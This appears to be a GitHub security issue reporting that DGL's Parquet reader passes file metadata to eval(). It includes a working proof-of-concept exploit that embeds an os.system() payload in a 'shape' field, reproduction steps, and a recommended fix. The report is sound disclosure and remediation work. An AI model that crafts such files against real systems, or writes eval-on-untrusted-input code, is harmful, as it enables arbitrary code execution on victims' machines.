🚨 Security Vulnerability: Remote Code Execution via eval() in ParquetArrayParser
stale-issue
## Summary
A critical Remote Code Execution (RCE) vulnerability exists in DGL's `ParquetArrayParser.read()` method, which uses `eval()` to parse shape metadata from Parquet files without proper validation. An attacker who can control the content of a Parquet file can execute arbitrary Python code.
**Severity**: 🔴 **CRITICAL**
**CVSS Score**: 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**Affected Versions**: All versions containing `tools/distpartitioning/array_readwriter/parquet.py`
## Affected Component
- **File**: `tools/distpartitioning/array_readwriter/parquet.py`
- **Class**: `ParquetArrayParser`
- **Method**: `read()`
- **Line**: 44
## Vulnerability Details
### Code Location
```python
# tools/distpartitioning/array_readwriter/parquet.py:16-45
def read(self, path):
logging.debug("Reading from %s using parquet format" % path)
metadata = pyarrow.parquet.read_metadata(path)
metadata = metadata.schema.to_arrow_schema().metadata
# As parquet data are tabularized, we assume the dim of ndarray is 2.
# If not, it should be explictly specified in the file as metadata.
if metadata:
shape = metadata.get(b"shape", None)
else:
shape = None
table = pyarrow.parquet.read_table(path, memory_map=True)
data_types = table.schema.types
# Spark ML feature processing produces single-column parquet files where each row is a vector object
if len(data_types) == 1 and isinstance(data_types[0], pyarrow.ListType):
arr = np.array(table.to_pandas().iloc[:, 0].to_list())
logging.debug(
f"Parquet data under {path} converted from single vector per row to ndarray"
)
else:
arr = table.to_pandas().to_numpy()
if not shape:
logging.debug(
"Shape information not found in the metadata, read the data as "
"a 2 dim array."
)
logging.debug("Done reading from %s" % path)
shape = tuple(eval(shape.decode())) if shape else arr.shape # ⚠️ VULNERABILITY
return arr.reshape(shape)
```
### Vulnerability Analysis
**Line 44** contains the vulnerable code:
```python
shape = tuple(eval(shape.decode())) if shape else arr.shape
```
#### Why This Is Dangerous
1. **Unvalidated Input**: The `shape` value is read directly from the Parquet file's metadata without any validation or sanitization.
2. **Direct eval() Usage**: The code uses `eval()` to parse the shape tuple, which allows execution of arbitrary Python expressions.
3. **User-Controlled Input**: If an attacker can control the Parquet file (e.g., upload, provide URL, or modify file), they can inject malicious Python code into the `shape` metadata.
4. **No Sandboxing**: The `eval()` executes in the same context as the application, with full privileges.
### Attack Vector
An attacker can create a malicious Parquet file with a crafted `shape` metadata that contains arbitrary Python code. When `ParquetArrayParser.read()` processes this file, the malicious code is executed.
### Proof of Concept
#### Step 1: Create Malicious Parquet File
```python
import pyarrow
import pyarrow.parquet
import pandas as pd
import numpy as np
# Create normal-looking data
data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32)
df = pd.DataFrame(data)
table = pyarrow.Table.from_pandas(df)
# Inject malicious code into metadata
payload = "__import__('os').system('id') or (3, 3)"
metadata = {b"shape": payload.encode('utf-8')}
table = table.replace_schema_metadata(metadata)
# Save malicious file
pyarrow.parquet.write_table(table, "malicious.parquet")
```
#### Step 2: Trigger RCE
```python
from distpartitioning import array_readwriter
parser = array_readwriter.get_array_parser(name="parquet")
# This will execute: os.system('id')
result = parser.read("malicious.parquet")
```
#### Complete Exploit Script
```python
#!/usr/bin/env python3
import os
import pyarrow
import pyarrow.parquet
import pandas as pd
import numpy as np
from distpartitioning import array_readwriter
# Create malicious parquet file
data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32)
df = pd.DataFrame(data)
table = pyarrow.Table.from_pandas(df)
# Payload: Execute command and return valid tuple
payload = "__import__('os').system('echo RCE_EXECUTED') or (3, 3)"
metadata = {b"shape": payload.encode('utf-8')}
table = table.replace_schema_metadata(metadata)
pyarrow.parquet.write_table(table, "malicious.parquet")
# Trigger RCE
parser = array_readwriter.get_array_parser(name="parquet")
result = parser.read("malicious.parquet")
# Output: RCE_EXECUTED
```
### Impact
1. **Remote Code Execution**: An attacker can execute arbitrary Python code with the privileges of the user running the DGL application.
2. **Data Exfiltration**: An attacker can read sensitive files, access databases, or exfiltrate data.
3. **System Compromise**: An attacker can install backdoors, modify files, or perform other malicious actions.
4. **Privilege Escalation**: If the application runs with elevated privileges, the attacker gains those privileges.
### Affected Use Cases
This vulnerability affects any code path that uses `ParquetArrayParser.read()` with user-controlled or untrusted Parquet files, including:
1. **Distributed Graph Partitioning**: When processing graph data stored in Parquet format
2. **Data Loading**: When loading node/edge features from Parquet files
3. **User Uploads**: If the application accepts Parquet file uploads
4. **Remote Data Sources**: If the application reads Parquet files from URLs or network locations
5. **Data Processing Pipelines**: When processing Parquet files in automated workflows
### Recommended Fix
Replace `eval()` with `ast.literal_eval()` or manual parsing:
```python
# Option 1: Use ast.literal_eval (safer, but still has limitations)
import ast
shape = tuple(ast.literal_eval(shape.decode())) if shape else arr.shape
# Option 2: Manual parsing (most secure)
def parse_shape(shape_str):
"""Safely parse shape tuple from string"""
shape_str = shape_str.strip()
if not (shape_str.startswith('(') and shape_str.endswith(')')):
raise ValueError("Invalid shape format")
# Remove parentheses and split
inner = shape_str[1:-1].strip()
if not inner:
return ()
# Parse comma-separated integers
parts = inner.split(',')
result = []
for part in parts:
part = part.strip()
if not part.isdigit():
raise ValueError(f"Invalid shape value: {part}")
result.append(int(part))
return tuple(result)
shape = parse_shape(shape.decode()) if shape else arr.shape
```
### Additional Security Recommendations
1. **Input Validation**: Always validate and sanitize metadata from external sources
2. **Sandboxing**: Consider running file processing in isolated environments
3. **File Type Verification**: Verify that uploaded files are legitimate Parquet files
4. **Access Control**: Limit file access to trusted sources
5. **Logging**: Log all file processing operations for security auditing
## References
- DGL Repository: https://github.com/dmlc/dgl
- Vulnerable File: `tools/distpartitioning/array_readwriter/parquet.py`
- Python `eval()` Security: https://docs.python.org/3/library/functions.html#eval
## Steps to Reproduce
1. Install DGL and required dependencies:
```bash
pip install dgl pyarrow pandas numpy
```
2. Create a malicious Parquet file:
```python
import pyarrow
import pyarrow.parquet
import pandas as pd
import numpy as np
data = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=np.float32)
df = pd.DataFrame(data)
table = pyarrow.Table.from_pandas(df)
# Inject malicious code
payload = "__import__('os').system('echo RCE_EXECUTED') or (3, 3)"
metadata = {b"shape": payload.encode('utf-8')}
table = table.replace_schema_metadata(metadata)
pyarrow.parquet.write_table(table, "malicious.parquet")
```
3. Trigger the vulnerability:
```python
from distpartitioning import array_readwriter
parser = array_readwriter.get_array_parser(name="parquet")
result = parser.read("malicious.parquet") # RCE triggered here
```
4. Verify RCE execution:
- Check console output for "RCE_EXECUTED" message
- Or use a payload like `__import__('os').system('id')` to see user information
https://github.com/user-attachments/assets/e723fdda-62f1-4515-ba50-d5eada251928
2 条评论